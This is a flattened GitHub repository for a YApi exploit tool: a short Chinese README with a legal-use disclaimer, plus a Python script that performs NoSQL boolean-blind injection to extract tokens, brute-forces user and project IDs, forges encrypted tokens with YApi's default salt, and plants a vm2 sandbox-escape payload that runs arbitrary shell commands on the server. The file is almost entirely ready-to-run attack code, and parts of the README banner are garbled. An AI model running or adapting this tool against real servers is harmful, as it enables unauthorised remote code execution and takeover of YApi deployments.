├── .gitignore ├── README.md └── exp.py /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # YApi-Exploit 2 | YApi boolean-based injection [exploit](https://github.com/Anthem-whisper/YApi-Exploit). 3 | 4 | ## 声明 5 | 6 | 本工具仅用于合法的测试,请明确您对于目标是否得到了授权 7 | 8 | 请勿用于任何非法用途,否则后果自负 9 | 10 | ## 用法 11 | 12 | ``` 13 | ❯ python exp.py -h 14 | 15 | __ _____ _ ______ __ _ __ 16 | \ \/ / | ____ (_) / ____/ ______ / /___ (_) /_ 17 | \ / /| | / __ \/ / / __/ | |/_/ __ \/ / __ \/ / __/ 18 | / / ___ |/ /_/ / / / /____> None: 18 | if block_size < 2 or block_size > 255: 19 | raise AESCipher.InvalidBlockSizeError('The block size must be between 2 and 255, inclusive') 20 | self.block_size = block_size 21 | self.key, self.iv = self.EVP_BytesToKey(key.encode("utf-8"), "".encode("utf-8"), 24, 16) 22 | 23 | def __pad(self, text) -> str: 24 | text_length = len(text) 25 | amount_to_pad = self.block_size - (text_length % self.block_size) 26 | if amount_to_pad == 0: 27 | amount_to_pad = self.block_size 28 | self.pad = chr(amount_to_pad) 29 | return text + self.pad * amount_to_pad 30 | 31 | def __unpad(self, text) -> str: 32 | try: text = text.rstrip(self.pad) 33 | except: pass 34 | return text 35 | 36 | def encrypt(self, raw) -> str: 37 | raw = self.__pad(raw).encode() 38 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 39 | return cipher.encrypt(raw).hex() 40 | 41 | def decrypt(self, enc) -> str: 42 | enc = bytes.fromhex(enc) 43 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv ) 44 | return self.__unpad(cipher.decrypt(enc).decode("utf-8")) 45 | 46 | def EVP_BytesToKey(self, password, salt, key_len, iv_len) -> tuple[bytes, bytes]: 47 | """ 48 | Derive the key and the IV from the given password and salt. 49 | """ 50 | dtot = md5(password + salt).digest() 51 | d = [ dtot ] 52 | while len(dtot)<(iv_len+key_len): 53 | d.append( md5(d[-1] + password + salt).digest() ) 54 | dtot += d[-1] 55 | return dtot[:key_len], dtot[key_len:key_len+iv_len] 56 | 57 | 58 | class Exploit(object): 59 | def __init__(self, target="", proxy=dict(), yapi_salt="abcde", sleep_seconds="0.2", req_timeout="3", 60 | token="", uid="", project_id="", encrypted_token="", command="") -> None: 61 | self.target = target 62 | self.proxy = proxy 63 | self.yapi_salt = yapi_salt 64 | self.sleep_seconds = sleep_seconds 65 | self.req_timeout = req_timeout 66 | self.token = token 67 | self.uid = uid # Author's uid 68 | self.project_id = project_id # id, the project id 69 | self.encrypted_token = encrypted_token # encrypt(uid+'|'+token) 70 | self.aes_handler = AESCipher(self.yapi_salt, 16) 71 | self.command = command 72 | self.api_list = { # 0->allow GET, 1->allow POST 73 | '/api/open/run_auto_test':0, 74 | '/api/open/import_data':1, 75 | '/api/interface/add': 1, 76 | '/api/interface/save': 1, 77 | '/api/interface/up': 1, 78 | '/api/interface/get': 0, 79 | '/api/interface/list': 0, 80 | '/api/interface/list_menu': 0, 81 | '/api/interface/add_cat': 1, 82 | '/api/interface/getCatMenu': 0, 83 | '/api/interface/list_cat': 0, 84 | '/api/project/get': 0, 85 | '/api/plugin/export': 0, 86 | '/api/project/up': 1 87 | } 88 | self.alive_api_allow_get = [] 89 | self.alive_api_allow_post = [] 90 | 91 | def encrypt_token(self) -> str: 92 | if self.uid == "" or self.token == "": 93 | print("[E] uid or token is null.") 94 | return "" 95 | self.encrypted_token = self.aes_handler.encrypt(self.uid + "|" + self.token) 96 | return self.encrypted_token 97 | 98 | def decrypt_token(self) -> str: 99 | if self.encrypted_token == "": 100 | print("[E] encrypted_token is null.") 101 | return "" 102 | payload = self.aes_handler.decrypt(self.encrypted_token).split("|") 103 | self.uid = payload[0] 104 | self.token = payload[1] 105 | return self.uid + "|" + self.token 106 | 107 | def check_token_validity(self) -> bool: 108 | check_obj = self.encrypted_token if self.encrypted_token != "" else self.token 109 | if check_obj == "": 110 | print("[E] token is null.") 111 | return False 112 | 113 | print("[*] checking token {}".format(str(check_obj))) 114 | 115 | target, route = self._generate_target("/api/project/up") 116 | data = json.dumps({"id": 1, "token": check_obj}) 117 | r = requests.post(target, data=data, headers=self._generate_http_header(), 118 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 119 | 120 | if r.status_code != 200: 121 | print("[E] {} can't be accessed.".format(route)) 122 | return False 123 | if "请登录" in json.loads(r.text)["errmsg"]: 124 | print("[-] The token is invalid.") 125 | return False 126 | elif "服务器出错" in json.loads(r.text)["errmsg"]: 127 | print("[-] The encryped token's format is right, but the token is invalid.") 128 | return False 129 | elif "没有权限" in json.loads(r.text)["errmsg"]: 130 | print("[+] The token (encrypted/non-encrypted) is valid, but the uid is invalid.") 131 | print(" try to `encrypt(uid+'|'+token)` to get a valid encrypted token.") 132 | return True 133 | else: 134 | print("[+] The encryped token is valid.") 135 | return True 136 | 137 | def get_alive_api_list(self) -> tuple[list, list]: 138 | if len(self.alive_api_allow_get) != 0 and len(self.alive_api_allow_post) !=0: 139 | return self.alive_api_allow_get, self.alive_api_allow_post 140 | 141 | print("[*] getting api...") 142 | api_allow_get, api_allow_post = [], [] 143 | 144 | for i in self.api_list: 145 | if self.api_list[i] == 1: 146 | r = requests.post(self.target+i, headers=self._generate_http_header(), 147 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 148 | if r.status_code == 200: api_allow_post.append(i) 149 | else: 150 | r = requests.get(self.target+i, headers=self._generate_http_header(), 151 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 152 | if r.status_code == 200: api_allow_get.append(i) 153 | time.sleep(float(self.sleep_seconds)) 154 | 155 | self.alive_api_allow_get = api_allow_get 156 | self.alive_api_allow_post = api_allow_post 157 | 158 | return api_allow_get, api_allow_post 159 | 160 | def get_token_by_inject(self) -> str: 161 | print("[*] getting token by inject...") 162 | 163 | target, route = self._generate_target("/api/project/up") 164 | data = json.dumps({"id":1, "token":{"$regex":".*?"}}) 165 | r = requests.post(target, data=data, headers=self._generate_http_header(), 166 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 167 | 168 | if r.status_code != 200: 169 | print("[E] {} can't be accessed.".format(route)) 170 | return "" 171 | if "请登录" not in json.loads(r.text)["errmsg"]: 172 | payloadlist = "0123456789abcdef" 173 | payload = "^" 174 | for i in range(0, 20): 175 | for j in payloadlist: 176 | data = json.dumps({"id":1, "token":{"$regex":"{}".format(payload+j)}}) 177 | r = requests.post(target, data=data, headers=self._generate_http_header(), 178 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 179 | time.sleep(float(self.sleep_seconds)) 180 | if "没有权限" in json.loads(r.text)["errmsg"]: 181 | payload += j 182 | print("[+] find payload: {}".format(data)) 183 | break 184 | else: # 成功的话系统回显没有权限 185 | continue 186 | self.token = payload.replace("^", "") 187 | return self.token 188 | else: 189 | print("[-] target:{} cannot be injected.".format(target)) 190 | return "" 191 | 192 | def get_id_uid_by_token(self) -> tuple[str, str]: 193 | if self.encrypted_token != "": self.encrypted_token = "" # reset the encrypted_token 194 | if self.check_token_validity() == False: return "", "" # check the token is valid or not 195 | 196 | print("[*] brute-force attacking...") 197 | target, _= self._generate_target("/api/project/up") 198 | 199 | # brute force uid 200 | print("[*] getting uid...") 201 | uid_range = 1000 202 | for i in range(1, uid_range): 203 | self.uid = str(i) 204 | self.encrypt_token() 205 | data = json.dumps({"id": 1, "token": self.encrypted_token}) 206 | r = requests.post(target, data=data, headers=self._generate_http_header(), 207 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 208 | time.sleep(float(self.sleep_seconds)) 209 | if "没有权限" not in json.loads(r.text)["errmsg"]: 210 | print("[+] find uid: {}".format(self.uid)) 211 | break 212 | elif i == uid_range: 213 | print("[-] unable to find uid in range(1, {})".format(str(uid_range))) 214 | 215 | # brute force project id 216 | print("[*] getting project id...") 217 | project_id_range = 1000 218 | for i in range(1, project_id_range): 219 | data = json.dumps({"id": i, "token": self.encrypted_token}) 220 | r = requests.post(target, data=data, headers=self._generate_http_header(), 221 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 222 | time.sleep(float(self.sleep_seconds)) 223 | if "成功" in json.loads(r.text)["errmsg"]: 224 | self.project_id = str(i) 225 | print("[+] find id (project id): {}".format(self.project_id)) 226 | break 227 | elif i == project_id_range: 228 | print("[-] unable to find id in range(1, {})".format(project_id_range)) 229 | return "", "" 230 | 231 | return self.project_id, self.uid 232 | 233 | def execute_command(self) -> None: 234 | if self.encrypted_token == "": 235 | print("[E] encrypted token is null.") 236 | return "" 237 | if self.project_id == "": 238 | print("[E] project id is null.") 239 | return "" 240 | if self.check_token_validity() == False: 241 | return "" 242 | if self.command == "": 243 | print("[E] command is null.") 244 | return "" 245 | 246 | target, _ = self._generate_target("/api/project/up") 247 | data = json.dumps({"id": int(self.project_id), 248 | "token": self.encrypted_token, "pre_script": self._generate_vm2_esc_payload()}) 249 | 250 | r = requests.post(target, data=data, headers=self._generate_http_header(), 251 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 252 | time.sleep(float(self.sleep_seconds)) 253 | 254 | if "成功" in json.loads(r.text)["errmsg"]: 255 | print("[+] command writed successfully!") 256 | target1, _ = self._generate_target(path="/api/open/run_auto_test") 257 | params = {"id": int(self.project_id), "token": self.encrypted_token} 258 | 259 | r = requests.get(target1, params=params, headers=self._generate_http_header(), 260 | proxies=self.proxy, verify=False) # 执行命令会有延时,所以不需要设置超时时间 261 | 262 | if "测试报告" in r.text: 263 | print("[+] command executed successfully!") 264 | elif "id值不存在" in r.text: 265 | print("[-] command executed failed. the server responded 'id值不存在'.") 266 | else: 267 | print("[-] command executed failed.") 268 | 269 | data = json.dumps({"id": int(self.project_id), "token": self.encrypted_token, "pre_script": ""}) 270 | r = requests.post(target, data=data, headers=self._generate_http_header(), 271 | timeout=float(self.req_timeout), proxies=self.proxy, verify=False) 272 | if "成功" in json.loads(r.text)["errmsg"]: 273 | print("[+] command deleted successfully!") 274 | else: 275 | print("[-] command deleted failed! please delete manually.") 276 | else: 277 | print("[+] command writed failed.") 278 | 279 | def show_info(self) -> dict[str: str]: 280 | info = { 281 | "target": self.target, 282 | "proxy": self.proxy, 283 | "yapi_salt": self.yapi_salt, 284 | "sleep_seconds": self.sleep_seconds, 285 | "req_timeout": self.req_timeout, 286 | "token": self.token, 287 | "uid": self.uid, 288 | "project_id": self.project_id, 289 | "encrypted_token": self.encrypted_token, 290 | "command": self.command 291 | } 292 | print("[*] current information:") 293 | for i in info: 294 | print(" {}: {}".format(i, info[i])) 295 | return info 296 | 297 | def _get_post_route(self) -> str: 298 | try: 299 | route = random.choice(self.alive_api_allow_post) 300 | except: 301 | _, self.alive_api_allow_post = self.get_alive_api_list() 302 | route = random.choice(self.alive_api_allow_post) 303 | return route 304 | 305 | def _generate_target(self, path="") -> str: 306 | if self.target == "": 307 | self.target = "http://127.0.0.1:3000/api/project/up" 308 | print("[E] target is null. set to default: {}".format(self.target)) 309 | 310 | target_parser = urlparse(self.target) 311 | scheme = target_parser.scheme if target_parser.scheme is not None else "http" 312 | hostname = target_parser.hostname if target_parser.hostname is not None else "127.0.0.1" 313 | port = target_parser.port if target_parser.port is not None else "80" 314 | 315 | if path == "": 316 | if len(target_parser.path) > 1: path = target_parser.path 317 | else: path = self._get_post_route() 318 | if path[0] != "/": 319 | path = "/" + path 320 | 321 | self.target = scheme + "://" + hostname + ":" + str(port) + path 322 | return self.target, path 323 | 324 | def _generate_vm2_esc_payload(self) -> str: 325 | return "constructor.constructor('return process')().mainModule.require('child_process')" +\ 326 | ".execSync('{}')".format(self.command) 327 | 328 | def _generate_http_header(self, content_type="application/json") -> dict[str: str]: 329 | ua_list = [ 330 | "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0", 331 | "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", 332 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_0) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11", 333 | "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/85.7 (KHTML, like Gecko) Safari/85.5" 334 | ] 335 | header = { 336 | "User-Agent": random.choice(ua_list), 337 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", 338 | "Accept-Encoding": "gzip, deflate", 339 | "Referer": self.target, 340 | "DNT": "1", 341 | "Sec-Fetch-Dest": "empty", 342 | "Sec-Fetch-Mode": "cors", 343 | "Sec-Fetch-Site": "same-origin", 344 | "Content-Type": content_type 345 | } 346 | return header 347 | 348 | def banner() -> None: 349 | print(""" 350 | __ _____ _ ______ __ _ __ 351 | \ \/ / | ____ (_) / ____/ ______ / /___ (_) /_ 352 | \ / /| | / __ \/ / / __/ | |/_/ __ \/ / __ \/ / __/ 353 | / / ___ |/ /_/ / / / /____> None: 360 | print(""" 361 | ######################################################################################### 362 | 请选择: 363 | 1.show_info \t显示当前信息 364 | 2.modify_information \t修改当前信息 365 | 3.encrypt_token \t从token和uid加密得到encrypted token 366 | 4.decrypt_token \t解密encrypted token, 得到uid和token 367 | 5.check_token_validity \t检测当前token是否可用 368 | 6.get_alive_api_list \t获取所有支持GET和POST方法的API 369 | 7.get_token_by_inject \t通过布尔盲注获得一个(加密之前的)token 370 | 8.get_id_uid_by_token \t通过一个(加密之前的)token获得项目id和作者uid 371 | 9.execute_command \t执行命令(无回显), 需要项目id和一个(加密过后的)token 372 | 0.exit \t退出 373 | ######################################################################################### 374 | """) 375 | 376 | 377 | def main(args=None) -> None: 378 | exp = Exploit() 379 | if args is not None: 380 | exp.target = args.target if args.target is not None else "" 381 | exp.proxy = {"http": args.proxy, "https": args.proxy} if args.proxy is not None else {} 382 | exp.yapi_salt = args.salt if args.salt is not None else "abcde" 383 | exp.sleep_seconds = args.sleep if args.sleep is not None else "0.2" 384 | exp.token = args.token if args.token is not None else "" 385 | exp.uid = args.uid if args.uid is not None else "" 386 | exp.project_id = args.id if args.id is not None else "" 387 | exp.encrypted_token = args.entoken if args.entoken is not None else "" 388 | exp.command = args.cmd if args.cmd is not None else "" 389 | try: 390 | res = getattr(exp, args.action)() 391 | print(res) 392 | except Exception as e: 393 | if "no attribute" in str(e): 394 | print("[E] no such action.") 395 | else: 396 | print(str(e)) 397 | # traceback.print_exc() # debug 398 | else: 399 | while True: 400 | try: 401 | menu() 402 | ipt = input().strip().split() 403 | case = ipt[0] if len(ipt) > 0 else "1" 404 | if case == "1": exp.show_info() 405 | elif case == "2": 406 | exp.show_info() 407 | print("[*] 输入要修改的信息, 比如: `target=http://127.0.0.1:3000, proxy=socks5://127.0.0.1:8080`, 使用逗号分隔") 408 | ipt1 = input().strip().split(",") 409 | for i in ipt1: 410 | try: 411 | key, value = i[0:i.index("="):].strip(), i[i.index("=")+1::].strip() 412 | if hasattr(exp, key): 413 | if key == "proxy": value = {"http": value, "https": value} 414 | setattr(exp, key, value) 415 | print("[+] 已设置 {} 为 {}".format(key, value)) 416 | else: 417 | print("[-] 没有这个属性: {}".format(key)) 418 | except: 419 | print("[*] 输入有误: {}".format(i)) 420 | elif case == "3": print(exp.encrypt_token()) 421 | elif case == "4": print(exp.decrypt_token()) 422 | elif case == "5": print(exp.check_token_validity()) 423 | elif case == "6": 424 | res = exp.get_alive_api_list() 425 | print("[+] allow GET:") 426 | for i in res[0]: print(" -", i) 427 | print("[+] allow POST:") 428 | for i in res[1]: print(" -", i) 429 | elif case == "7": print(exp.get_token_by_inject()) 430 | elif case == "8": print(exp.get_id_uid_by_token()) 431 | elif case == "9": exp.execute_command() 432 | elif case == "0": 433 | print("exit.") 434 | break 435 | else: print("[*] 输入有误") 436 | except Exception as e: 437 | print(str(e)) 438 | # traceback.print_exc() # debug 439 | 440 | if __name__ == '__main__': 441 | banner() 442 | 443 | parser = argparse.ArgumentParser(prog="python3 exp.py", formatter_class=argparse.RawTextHelpFormatter) 444 | parser.add_argument("-shell", help="交互式操作, 如果使用这个参数则无需输入其他任何参数", action="store_true") 445 | parser.add_argument("-target", help="目标站点, 比如: http://127.0.0.1:3000/") 446 | parser.add_argument("-proxy", help="HTTP代理, 比如: http://127.0.0.1:8080/, 默认为空") 447 | parser.add_argument("-action", help="要执行操作, 有如下几个操作:\n \ 448 | encrypt_token \t从token和uid加密得到encrypted token\n \ 449 | decrypt_token \t解密encrypted token, 得到uid和token\n \ 450 | check_token_validity \t检测当前token是否可用\n \ 451 | get_alive_api_list \t获取所有支持GET和POST方法的API\n \ 452 | get_token_by_inject \t通过布尔盲注获得一个(加密之前的)token\n \ 453 | get_id_uid_by_token \t通过一个(加密之前的)token获得项目id和作者uid\n \ 454 | execute_command \t通过pre_script执行命令, 需要项目id和一个(加密过后的)token\n", ) 455 | parser.add_argument("-salt", help="YApi用于加密uid和token的盐, 默认为'abcde'") 456 | parser.add_argument("-sleep", help="每个请求的间隔的秒数, 默认为0.2") 457 | parser.add_argument("-timeout", help="请求超时时间, 默认为3") 458 | parser.add_argument("-token", help="加密之前的token, 如果你有的话") 459 | parser.add_argument("-uid", help="项目作者的uid, 如果你有的话") 460 | parser.add_argument("-id", help="项目id, 如果你有的话") 461 | parser.add_argument("-entoken", help="加密之后的token, 如果你有的话") 462 | parser.add_argument("-cmd", help="要执行的命令, 无回显") 463 | 464 | args = parser.parse_args() 465 | if args.shell: 466 | main() 467 | else: 468 | main(args) --------------------------------------------------------------------------------